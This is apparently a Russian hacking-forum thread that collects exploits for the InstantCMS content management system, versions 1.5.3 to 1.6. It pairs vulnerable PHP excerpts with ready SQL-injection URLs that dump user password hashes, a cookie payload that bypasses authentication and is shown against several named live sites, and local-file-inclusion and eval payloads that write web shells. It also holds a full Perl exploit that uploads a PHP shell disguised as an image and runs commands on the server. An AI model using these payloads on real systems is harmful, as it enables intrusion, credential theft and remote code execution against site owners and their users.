InstantCMS version : 1.5.3 http://www.instantcms.ru/ SQL-INJ : Code: /admin/index.php?view=components&do=config&id=6&opt=edit&item_id=-1+union+select+1,concat_ws(0x3a,user(),database() ,version()),3,4,5,6+--+ (требуется доступ к админке.)
InstantCMS v 1.5.3 SQL Injection Уязвимость в /components/photos/frontend.php PHP: if ($do=='view') { ... if (isset($_POST['orderby'])) { $orderby = $_POST['orderby']; $_SESSION['ph_orderby'] = $orderby; } elseif(isset($_SESSION['ph_orderby'])) { $orderby = $_SESSION['ph_orderby']; } else { $orderby = $album['orderby']; } if (isset($_POST['orderto'])) { $orderto = $_POST['orderto']; $_SESSION['ph_orderto'] = $orderto; } elseif(isset($_SESSION['ph_orderto'])) { $orderto = $_SESSION['ph_orderto']; } else { $orderto = $album['orderto']; } ... $sql .= " ORDER BY ".$orderby." ".$orderto." \n"; ... $result = $inDB->query($sql) or die(mysql_error().'<br/><br/>'.$sql); } Использование: передача своего запроса методом POST в http://localhost/?view=photos&do=view. (перед этим надо зарегистрироваться и авторизоваться) P.S. иньекция после order by
InstantCMS 1.5.3 SQL INJ localhost/components/forum/fronted.php PHP: if ($do=='newthread' || $do=='newpost' || $do=='editpost'){ if (usrCheckAuth()){ #Вы должны быть авторизованы ... if (isset($_GET['replyid'])) { $replyid = $_GET['replyid']; } else { $replyid = 0; } if(!isset($_POST['gosend'])){ $inDB->query("DELETE FROM cms_upload_images WHERE session_id='".session_id()."'"); if ($replyid){ $sql = "SELECT p.*, u.*, DATE_FORMAT(p.pubdate, '%d-%m-%Y в %H:%i') senddate FROM cms_forum_posts p, cms_users u WHERE p.id = $replyid AND p.user_id = u.id"; $result = $inDB->query($sql) ; } } } Code: http://localhost/?view=forum&do=newthread&replyid=-29+and+1=1+union+select+1,2,3,4,5,6,password,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 FROM cms_users+--+ В жизни: Code: http://kokshetau.kz/?view=forum&do=newthread&replyid=-29+and+1=1+union+select+1,2,3,4,5,6,password,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25%20FROM%20cms_users+--+ //Требуется регистрация SQL INJ Требования : доступ к админке. Code: http://localhost/admin/index.php?view=components&do=config&id=7&opt=edit&item_id=-16+and+1=1+union+select+1,2,3,4,5,6,7,password,9,10,11+from+cms_users+--+
InstantCMS 1.5.3 SQL INJ components/users/frontend.php PHP: if ($do=='sendmessage'){ if (usrCheckAuth() && $inUser->id!=$id){ ... if ($usr || isset($_POST['massmail'])){ if (usrCheckAuth()){ ... if (isset($_GET['replyid'])) { $replyid = $_GET['replyid']; } else { $replyid = 0; } ... if ($replyid){ $sql = "SELECT m.*, u.* FROM cms_user_msg m, cms_users u WHERE m.id = $replyid AND m.from_id = u.id AND m.to_id = $from_id"; $result = $inDB->query($sql) ; Требования : Вы должны быть авторизованы Использование: Code: <form action="http://localhost/?view=users&do=sendmessage&replyid=-100+and+1=1+union+select+1,2,3,4,5,password,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+cms_users+--+" method="post"> <input name="massmail" value="1"> <input type="submit" value="Send"> </form>
InstantCMS 1.5.3 SQL INJ В админке: 1. Code: http://test1.ru/admin/index.php?view=components&do=config&link=banners&opt=edit&item_id=-100+and+1=1+union+select+1,2,3,4,5,6,7,8,9,10,password,12,13+from+cms_users+--+ 2. Code: http://test1.ru/admin/index.php?view=components&do=config&link=board&opt=edit_cat&item_id=-100+union+select+1,2,3,4,5,6,7,8,9,password,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26+from+cms_users--+ Ну и таких однотипных уязвимостей в админке множество. P.S. Раскрытие пути Code: http://localhost/admin/modules/mod_arhive/backend.php
Blind SQL-Injection Blind SQL-Injection /componets/catalog/fronted.php PHP: if (isset($_POST['orderby'])) { $orderby = $_POST['orderby']; ... } if (isset($_POST['orderto'])) { $orderto = $_POST['orderto']; ... } $sql .= " ORDER BY ".$orderby." ".$orderto; $result = $inDB->query($sql); Code: POST http://instantcms/catalog/23/1 HTTP/1.0 Host: instantcms Content-Type: application/x-www-form-urlencoded Content-length: 65 orderby=(i.id* IF (ASCII(SUBSTRING(version(),1,1))=53,1,-1)) --
1.5.3 LFI + Eval Code Execution! /admin/includes/cp.php PHP: ...function cpProceedBody(){ ob_start(); $link = str_replace('/', '', $GLOBALS['applet']); $link = str_replace(':', '', $link); $link = str_replace('-', '', $link); $file = $link . '.php'; include('applets/'.$file); eval('applet_'.$link.'();'); $GLOBALS['cp_page_body'] = ob_get_clean(); }... Result: http://instant/admin/index.php?view=cats[lfi] Example: http://instant/admin/index.php?view=cats\..\..\..\..\.htaccess[. т.д] http://instant/admin/index.php?view=cats\..\..\..\..\.htaccess%00 Модуль может быть другой! Условие: - админка; - только \.
А чем вам не нравится eval ? Я код не качал, но исходя из того, что вижу, он должен работать: ?applet=;system('ls');rand Или там что-то мешает? PS И кстати, да у меня тут хакеры спрашивают WTF??? $link= str_replace('/', '', $GLOBALS['applet']); а потом view=cats\..\..\..\..\.htaccess Выкладывай весь необходимый код, ибо нихрена не понятно
/admin/index.php PHP: if (isset($_REQUEST['view'])){ $GLOBALS['applet'] = $_REQUEST['view']; } else { $GLOBALS['applet'] = 'main'; http://test/admin/index.php?view=;phpinfo();rand
Просто Джокестр,не смотрел код, там в индексе PHP: if(isset($_REQUEST['view'])) { $GLOBALS['applet'] = $_REQUEST['view']; } else { $GLOBALS['applet'] = 'main'; } Эм сорри, опередил Скорп
Blind Sql inj v.1.5.3 index.php PHP: ... $inCore->onlineStats(); //обновляем статистику посещений сайта ... /core/classes/db.class.php PHP: ... public function query($sql){ $inConf = cmsConfig::getInstance(); $sql = $this->replacePrefix($sql); $result = mysql_query($sql, $this->db_link); if ($inConf->debug){ $this->q_count += 1; $this->q_dump .= '<pre>'.$sql.'</pre><hr/>'; } if (mysql_error() && $inConf->debug){ die('<div style="margin:2px;border:solid 1px gray;padding:10px">DATABASE ERROR: <pre>'.$sql.'</pre>'.mysql_error().'</div>'); } return $result; }... /core/cms.php PHP: ... //собираем информацию о текущем пользователе $sess_id = session_id(); $ip = $_SERVER['REMOTE_ADDR']; $useragent = $_SERVER['HTTP_USER_AGENT']; $page = $_SERVER['REQUEST_URI']; $refer = @$_SERVER['HTTP_REFERER']; ... PHP: ... if (@$_CFG['stats']){ //если включен сбор статистики на сайте //смотрим, есть ли запись про текущего пользователя $sql = "SELECT id FROM cms_stats WHERE (ip = '$ip' AND page = '$page')"; $result = $inDB->query($sql) ; //если записи нет - добавляем if (!$inDB->num_rows($result)){ $sql = "INSERT INTO cms_stats (ip, logdate, page, agent, refer) VALUES ('$ip', NOW(), '$page', '$useragent', '$refer')"; $inDB->query($sql) ; } }... @$_CFG['stats'] - перемененная по умолчанию выключена, но если админ собирает статистику, то нам очень повезло! Можна крутить как blind SQL ing ): Надо : /includes/config.inc.php PHP: ...$_CFG['stats'] = '1';... Если включена еще $_CFG['debug']=1, то нам повезло вдвойне!Можна крутить как blind SQl ing через ошибку! В даном случае будет такое вот сообщение: Условия: - включена переменная сбора статистики (лучше когда еще и отладки!); - бегать по разным страницам || с разных ИП; - mg=off. Jokester : Где эксплуатация?
Вот она: в User_Agent: hack', (select * from (select name_const((select concat_ws(':',login,password) from cms_users limit 0,1),1),name_const((select concat_ws(':',login,password) from cms_users limit 0,1),1))x))/* С бинарным поиском надо писать ескплоит разве что!
123 Релиз версии 1.6 22 апреля 2010 blind SQL inj & обход авторизации Предыдущая тоже. core/classes/user.class.php PHP: ...public function autoLogin(){ $inDB = cmsDatabase::getInstance(); $inCore = cmsCore::getInstance(); if ($inCore->getCookie('userid') && !$this->id){ $cookie_code = $inCore->getCookie('userid'); $sql = "SELECT * FROM cms_users WHERE md5(CONCAT(id, password)) = '$cookie_code' AND is_deleted=0 AND is_locked=0"; $res = $inDB->query($sql); if($inDB->num_rows($res)==1){ $userrow = $inDB->fetch_assoc($res); session_register('user'); $_SESSION['user'] = self::createUser($userrow); cmsCore::callEvent('USER_LOGIN', $_SESSION['user']); $inDB->query("UPDATE cms_users SET logdate = NOW() WHERE id = ".$_SESSION['user']['id']); $this->resetStatTimer(); } else { $inCore->unsetCookie('user_id'); } } return true; }... core/cms.php PHP: ...public function getCookie($name){ if (isset($_COOKIE['InstantCMS'][$name])){ return $_COOKIE['InstantCMS'][$name]; } else { return false; } }... core/classes/db.class.php PHP: ...///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// public function query($sql, $ignore_errors=false){ $inConf = cmsConfig::getInstance(); $sql = $this->replacePrefix($sql); $result = mysql_query($sql, $this->db_link); if ($inConf->debug){ $this->q_count += 1; $this->q_dump .= '<pre>'.$sql.'</pre><hr/>'; } if (mysql_error() && $inConf->debug && !$ignore_errors){ die('<div style="margin:2px;border:solid 1px gray;padding:10px">DATABASE ERROR: <pre>'.$sql.'</pre>'.mysql_error().'</div>'); } return $result; }... Как видно здесь блинд & обход авторизации (можно так сказать). Устанавливаем в куки ; InstantCMS[userid]=antichat' or group_id=2/* group_id=2 - група админов поидеи! В детали не уходил, ну у меня в таблице в админа 2 . Появляються линки в панели, доступные для админа и можно смело заходить, тока не сразу, сессионные куки тока установляться. Заходим на любой линк ):. Вот так будет точнее, потому что надо чтоб запрос вернул одну запись. В одной групе может быть много админов, и кука выше толку не даст!: ; InstantCMS[userid]=antichat' or 1=1 limit 0,1/* Если попался не админ, то крутим limit. Мы админ, мои приветствия! Блинд можно бистрее крутить через ошибку если cms крутиться в режиме отладки. Выше в посте о блинде в предыдущей версии было названа переменная, которая отвечает и где находиться. target: index.php (та й в принцыпе любая!) Дорк: InstantCMS Условие: mg=off пример ис жызни: http://instant-cms.ru ; InstantCMS[userid]=12345' or 1=1 limit 0,1/* http://lig.com.ua/ в режиме отладки. ; InstantCMS[userid]=12345' or 1=1 limit 0,1# http://bboldino.ru ; InstantCMS[userid]=12345' or 1=1 limit 0,1/* http://www.combatshop.biz ; InstantCMS[userid]=12345' or 1=1 limit 0,1/* в режиме отладки! http://expo.sec4all.info ; InstantCMS[userid]=12345' or 1=1 limit 0,1/* Баги не пофиксены. Code Execution + LFI(Win) и Blind SQL inj описаны в постах выше. Result: http://www.instant/admin/index.php?url=Location:+index.php&f=css/1.php&cod=%3C?+system($_GET[cmd]);+?%3E&view=;file_put_contents($_GET[f],$_GET[cod]);header($_GET);rand http://www.instant/admin/...аманить авторизованого админа[/U]! [/INDENT]
InstantCMS <=== 1.5.3 LFI Выкладываю свою прошлогоднюю, но интересную находку. В последней недавней версии дыра залатана PHP: ................ if (isset($_REQUEST['do'])){ $do = $_REQUEST['do']; } else { $do = 'rss'; } if (isset($_REQUEST['target'])){ $target = $_REQUEST['target']; } else { die(); } if (isset($_REQUEST['item_id'])) { $item_id = $_REQUEST['item_id']; } else { die(); } if (!isset($cfg['addsite'])) { $cfg['addsite'] = 1; } if (!isset($cfg['icon_on'])) { $cfg['icon_on'] = 0; } if (!isset($cfg['maxitems'])) { $cfg['maxitems'] = 50; } ////////////////////// RSS ///////////////////////////////////////////////////////////////////////////////////////////////// if ($do=='rss'){ $rss = ''; if (file_exists($_SERVER['DOCUMENT_ROOT'].'/components/'.$target.'/prss.php')){ $inCore->includeFile('components/'.$target.'/prss.php'); eval('rss_'.$target.'($item_id, $cfg, $rssdata);'); ............. Need: MQ=OFF Как юзать: передаем item_id, чтобы не вызвать die и evil file через target. далее можно залить "картинку" в профиле и сделать инклуд. http://localhost/components/rssfeed/frontend.php?item_id=1&target=evilfile%00 Для удобства написал сплоент дающий выполнение системных команд через LFI. Работает безотказанно =) CODE EXECUTION Code: #!/usr/bin/perl ###################### # Подключим библиотеки ###################### use LWP::UserAgent; use HTTP::Cookies; use Getopt::Std; use HTTP::Request::Common; use Time::HiRes qw(sleep); ##################### # Зададим параметры ##################### getopt("d:h:u:p"); if (!$opt_h) { &logo(); exit(); } if (!$opt_d) { &logo(); exit(); } if (!$opt_u) { &logo(); exit(); } if (!$opt_p) { &logo(); exit(); } $host=$opt_h; $dir=$opt_d; $user=$opt_u; $password=$opt_p; $page2="index.php"; $page1="core/auth.php"; $page11="login"; $ereg = '<cmd>(.*?)<\/cmd>'; $cmd="echo matrix"; $fucking_shell='<cmd><?php system($_REQUEST[cmd]); ?></cmd>'; $exit="exit"; ###################### # Лицо ##################### # sub logo() { print "\t\t ########################################################################### ############ INSTANT CMS <=== 1.5.3 remote code execution # ############ coddddeeddd by The matrix (antichat.ru) # ########################################################################### # usage: exploit.pl # #-h [host] # # -d[path with site] # # -u [login] # # -p [password] # # exploit.pl -h http://site -d / -u evil -p qwer # # !!!!!!!! NEEEEED MAGIC_QUOTES_GPC=OFF # # # # # ###########################################################################\n\n"; } ############################# # аутификация ############################# sub auth() { print"[~]login\n"; my $browser = LWP::UserAgent->new; $client = LWP::UserAgent->new(); $cookie_jar = HTTP::Cookies->new(); $client->cookie_jar($cookie_jar); $op='ok'; $answer=$client->post( "http://".$host.$dir.$page1, [ 'login' => $user, 'pass' => $password, 'Submit'=> $op ] ); } sub auth2() { print"[~]login\n"; my $browser = LWP::UserAgent->new; $client = LWP::UserAgent->new(); $cookie_jar = HTTP::Cookies->new(); $client->cookie_jar($cookie_jar); $op='ok'; $answer=$client->post( "http://".$host.$dir.$page11, [ 'login' => $user, 'pass' => $password, 'Submit'=> $op ] ); } ############################# # тест печенюшек ############################# # sub test() { $response = $client->get("http://".$host.$dir.$page2 ); $ans = $response->content; if ($ans =~ /logout/){ print"[+]login complete"; } else{ print "\n[-]login failed...Ok...Time for plan B..."; $debug=1; } } sub test2() { $response = $client->get("http://".$host.$dir.$page2 ); $ans = $response->content; if ($ans =~ /logout/){ print"[+]login complete"; } else{ print "\n[-]login failed. check you account"; exit(); } } ####################### # Get id ####################### sub id { print "\n[~] Getting id"; $response = $client->get("http://".$host.$dir.$page2 ); $ans = $response->content; if ($ans =~ /users\/0\/(.*?)\/profile.html/) { $id=$1; print "\n[+] Yes, id = $id"; $page3="users/0/".$id."/addphoto.html"; } else { print "\nfailed get id"; exit() } } ####################### # Upl0ad fucking shell ####################### sub main { print "\n[~]Uploading..."; $response = $client->request(POST "http://".$host.$dir.$page3, Content_Type => 'multipart/form-data', Content => [ upload => 1, userid => $id, picture => [ undef, "123.jpg", content => $fucking_shell, "Content-Type" => "image/gif" ] ]); $ans = $response->content; open(F1,"> one.txt"); print (F1 "$ans"); print "\n[~]Get some fucking image hash"; if ($ans =~ /name="imageurl" value="(.*?)"/) { print "\n[+]image hash = $1"; $hash=$1; } } ######################## # CODE EXECUTION Test! ######################## sub exec { $page4="components/rssfeed/frontend.php?item_id=1&target=../images/users/photos/$hash%00"; print "\n[~] Testing code execution"; $response = $client->post("http://".$host.$dir.$page4, Content_Type => 'multipart/form-data', content => [ cmd => $cmd ] ); $ans = $response->content; if ($ans =~ /matrix/) { $expl0it3d=1; print "\n[+] Target has been Exp0it3d!!!!!!!!"; } else { print "\n[-]sorry magic_quotes=on or cms unvulnerable"; } } &logo(); &auth(); &test(); if ($debug==1) { &auth2(); &test2(); } &id(); &main(); &exec(); ######################## #Счастье ######################## if($expl0it3d == 1) { while($cmd !~ /^exit$/i) { print "\ncmd-line\#:"; $cmd=<STDIN>; chomp $cmd; $response = $client->post("http://".$host.$dir.$page4, Content_Type => 'multipart/form-data', content => [ cmd => $cmd ] ); $ans = $response->content; if ($ans =~/$ereg/si) { print "$1"; } else { print "what the fuck????"; } } } // почитал статью с ][ оказываетсяSpyder нашел баг первее хек
2Strilo4ka MQ слеширует в GPC. А $_SERVER['HTTP_USER_AGENT'] тронут не будет. Так что эта бага не такая уж и бесполезная, как кажется на первый взягляд=)
Еще раз возвращаемся к єтой CMS. Cмотрим админку в самой последней версии. /admin/includes/cp.php PHP: function cpProceedBody(){ ob_start(); $link = str_replace('/', '', $GLOBALS['applet']); $link = str_replace(':', '', $link); $link = str_replace('-', '', $link); $file = $link . '.php'; include('applets/'.$file); eval('applet_'.$link.'();'); $GLOBALS['cp_page_body'] = ob_get_clean(); } Как видно, баг не пофиксен. Искал уязвимости, но увилел запись в сесcию и неоставил без внимания. /components/price/cart.php PHP: define("VALID_CMS", 1); session_start(); include('../../includes/config.inc.php'); //configuration include('../../includes/database.inc.php'); //database connection include('../../core/cms.php'); //CMS engine if (isset($_REQUEST['addtocart'])){ if(!isset($_SESSION['cart'])) { session_register('cart'); $_SESSION['cart'] = array(); } foreach($_REQUEST as $key=>$value){ if (strpos($key, 'item')===0){ if(isset($_SESSION['cart'][$value])){ $_SESSION['cart'][$value] += $_REQUEST['kolvo'][$value]; } else { $_SESSION['cart'][$value] = $_REQUEST['kolvo'][$value]; } } } header('location:/price/cart.html'); } if (isset($_REQUEST['clearcart'])){ $_SESSION['cart'] = ''; session_unregister('cart'); header('location:/price/cart.html'); } Результат: Пишем в сесию выполнение eval. PHPSESSID=c44e2475683109ef2da34559883edc2f _http://[host]/[path]/components/price/cart.php?addtocart&item=e&kolvo[e]=<? $handle = fopen('b.php', 'w');fwrite($handle, '<? eval(stripslashes($_REQUEST[f])); ?>');fclose($handle); ?> После CSRF в админке Win _http://[host]/[path]/admin/index.php?view=;include($_REQUEST[f]);rand&f=Z:\tmp\sess_c44e2475683109ef2da34559883edc2f Диск на винде можно, например, с константы __FILE__ выдрать. Unix _http://[host]/[path]/admin/index.php?view=;include($_REQUEST[f]);rand&f=/tmp/sess_c44e2475683109ef2da34559883edc2f Имеем выполнение кода для нас _http://[host]/[path]/admin/b.php?f=phpinfo(); плюс - не надо задевать другие ресурсы, тоесть вся информация крутиться на целевом сервере! Можно заюзать LFI The matrix. Посмотрел в 1.5.2 файл cart.php - такой же ):
0day минуточку внимания. Instant cms. Множественные sql инъекции Применимо:Для всех версии(на сегодня последняя 1.6). Sql inj много как в insert, как в Update так и в select запросах. Рассмотрим одну из них, повкуснее, для которой не требуется ни RG=ON не MQ=off!!! Постараюсь рассказать процесс и его суть в точности как он проходил у меня идем в раздел блогов, новостей или статей. Выбираем произвольный блог статью или новость. Я выбрал новость. Под новостью приведена вставка модуля голосования. Тыкаем на кнопочку "Одобрить". И снифаем пакет. Получилось: Code: POST /core/ajax/karma.php HTTP/1.0 Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest Accept: text/html, */*, text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10 Host: localhost Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0 Referer: http://localhost/content/10/novosti/nash-sait-otkryt.html Cookie: PHPSESSID=b1d2ebf29a56a9d67ad9c792526ea4f7 Cookie2: $Version=1 Proxy-Connection: Keep-Alive Content-Transfer-Encoding: binary Content-Length: 39 cd=1&opt=plus&target=content&item_id=20 POST'ом перекинули значения на /core/ajax/karma.php вот са фак: Сорри. Забегу вперед. С этими переменными мы будем иметь дело, код говорит нам о ненужности RG. /core/ajax/karma.php PHP: if (!isset($_REQUEST['target'])) { die(2); } else { $target = $_REQUEST['target']; } if (!isset($_REQUEST['item_id'])) { die(3); } else { $item_id = $_REQUEST['item_id']; } if (!isset($_REQUEST['opt'])) { die(4); } else { $opt = $_REQUEST['opt']; } теперь функции PHP: if (!$inUser->update()) { $inCore->halt(); } ................................ $inCore->loadLib('karma'); if ($opt=='plus'){ cmsSubmitKarma($target, $item_id, 10); } if ($opt=='minus'){ cmsSubmitKarma($target, $item_id, -1); } $postkarma = cmsKarma($target, $item_id); ........................... Роем скрипты и смотрим где объявляются функции loadLib() и cmsKarma(); // найти мне помогла тузла от raz0r'a. /core/cms.php PHP: public function loadLib($lib){ $libfile = PATH.'/core/lib_'.$lib.'.php'; if (file_exists($libfile)){ include_once($libfile); return true; } понятно. Значит $inCore->loadLib('karma'); подгрузит нам: /core/lib_karma.php Значит что тут. /core/lib_karma.php PHP: function cmsKarma($target, $item_id){ //returns array with total votes and total points of karma $inDB = cmsDatabase::getInstance(); $sql = "SELECT *, SUM(points) as points, COUNT(id) as votes FROM cms_ratings WHERE item_id = $item_id AND target='$target' GROUP BY item_id"; $result = $inDB->query($sql); if ($inDB->num_rows($result)){ $data = $inDB->fetch_assoc($result); $data['points'] = round($data['points'], 2); } else { $data['points'] = 0; $data['votes'] = 0; } return $data; } Вот и запрос. Судя по karma.php и lib_karma.php $item_id и $target не обрабатываются. Инэектить мы будем $item_id тк в запросе он не обрамлен кавычками, а значит мы обойдем MQ =) Вернемся к нашему отснифаному пакету. И модифицируем его так: Code: POST /core/ajax/karma.php HTTP/1.0 Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest Accept: text/html, */*, text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10 Host: localhost Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0 Referer: http://localhost/content/10/novosti/nash-sait-otkryt.html Cookie: item_id=1 and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))>1,1,(select 1 union select 2))# Cookie2: $Version=1 Proxy-Connection: Keep-Alive Content-Transfer-Encoding: binary Content-Length: 39 cd=&opt=plus&target=conten Это логическая единица. Code: POST /core/ajax/karma.php HTTP/1.0 Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest Accept: text/html, */*, text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10 Host: localhost Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0 Referer: http://localhost/content/10/novosti/nash-sait-otkryt.html Cookie: item_id=1 and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))<1,1,(select 1 union select 2))# Cookie2: $Version=1 Proxy-Connection: Keep-Alive Content-Transfer-Encoding: binary Content-Length: 39 cd=&opt=plus&target=conten Это логический 0. По причине фильтра POST данных переопределяем item_id через куки. Как и для прошлой уязвимости. Для удобства написал эксплойт. Но пока я похраню его у себя, чуть позже выложу. В паблик пока не солью, пробиваемость сайтов с гугла высокая. Пишите сами или юзайте там где можно Duplicate column метод. Большое послесловие. Как я и говорил sql инж очень много. Завязывается все вокруг $target и $item_id. Фкнкции из файла lib_karma.php используются много где не только в karma.php. lib.karma.php PHP: function cmsSubmitKarma($target, $item_id, $points){ $inUser = cmsUser::getInstance(); $inDB = cmsDatabase::getInstance(); $id = $inUser->id; $ip = $_SERVER['REMOTE_ADDR']; if(!cmsAlreadyKarmed($target, $item_id, $id)){ $sql = "INSERT INTO cms_ratings (item_id, points, ip, target, user_id, pubdate) VALUES ($item_id, $points, '$ip', '$target', $id, NOW())"; $inDB->query($sql); } return true; } вышеупомянутая SubmitKarma Code: INSERT INTO cms_ratings (item_id, points, ip, target, user_id, pubdate) VALUES ([COLOR=Red]$item_id[/COLOR], $points, '$ip', '[COLOR=Red]$target[/COLOR]', $id, NOW()) Можно было бы составить evil запрос и вывести значение прямо в points, после чего его можно было наблюдать на странице новости без всяких blind, но структура таблицы нам не позволяет этого сделать поле points имеет type int(11). Поэтому: Code: INSERT INTO cms_ratings (item_id, points, ip, target, user_id, pubdate) VALUES ([COLOR=Red]1 and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))<1,1,(select 1 union select 2))[/COLOR], $points, '$ip', '$target', $id, NOW()) логический 0 Code: INSERT INTO cms_ratings (item_id, points, ip, target, user_id, pubdate) VALUES ([COLOR=Red]1 and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))>1,1,(select 1 union select 2))[/COLOR], $points, '$ip', '$target', $id, NOW()) Логическая единица.
sql inj"Админский зл0й баннер" Уязвимы все версии. Не такая полезная бага, чем те, которые я постил выше, она пригодится если уязвимости выше залатаны, и удалось попасть в админкую. NEEED's =) Права админа MQ=off Заходим. Админка=>Компоненты=>баннеры. Запрос добавления злых админских баннеров следующий: Code: INSERT INTO cms_banners (position, typeimg, fileurl, hits, clicks, maxhits, maxuser, user_id, pubdate, title, link, published) VALUES ('$position', '$typeimg', '$filename', 0, 0, '$maxhits', $maxuser, 1, NOW(), '[COLOR=Red]$title[/COLOR]', '$link', $published)"; красненькая переменная, попадает в запрос без обработок. смотрим тайп. Field:link Type:varchar(250) этот столбец нам подходит. В него и будем писать злой запрос. Заполняем форму, выбираем картинку только Забиваем в название баннера следующую шляпу: Code: 1111', (select concat(login,0x3a,password) from cms_users where group_id=2),'1') # запрос примет вид Code: INSERT INTO cms_banners (position, typeimg, fileurl, hits, clicks, maxhits, maxuser, user_id, pubdate, title, link, published) VALUES ('$position', '$typeimg', '$filename', 0, 0, '$maxhits', $maxuser, 1, NOW(), '[COLOR=Red]1111', (select concat(login,0x3a,password) from cms_users where group_id=2),'1') #[/COLOR][COLOR=White]', '$link', $published)[/COLOR]"; все. Теперь заходим в список наших баннеров. Открываем наш зл0й баннер. и в поле 'ссылка баннера' наблюдаем подобную картину: Code: admin:5f4dcc3b5aa765d61d8327deb882cf99 на этом все.
aXSSдля разнообразия XSS . у этой цмс к хсс прям какой-то иммунитет. Но все же лазейка нашлась. по сути. Свежайшая xss. Заключается в "щедящей" обработке файлов залитых юзером. Идем в Профиль=>Content=>Файлы. Видим, что можно лить всяко-разные файлы. Единственное интересное расширение, которое поддерживает эта заливалка-это .htm. Ну вот собственно мы и зальем htm файл с evil JS кодом. Который потом вежливо выполняется. что есть: [+] Сессия генерируется из login'a и password'a. [+]Сессия очень живучая(пока вражеский админ не сделает logout). [+]Файл на сервере выглядить безобидно. А значит Впарить ссылку на него не трудно. [+] сессия постоянная см п1 . Значит использовать можно неоднократно. [+] на момент написания уязвимы все версии движка. [-] Как не крути а xss пассивная.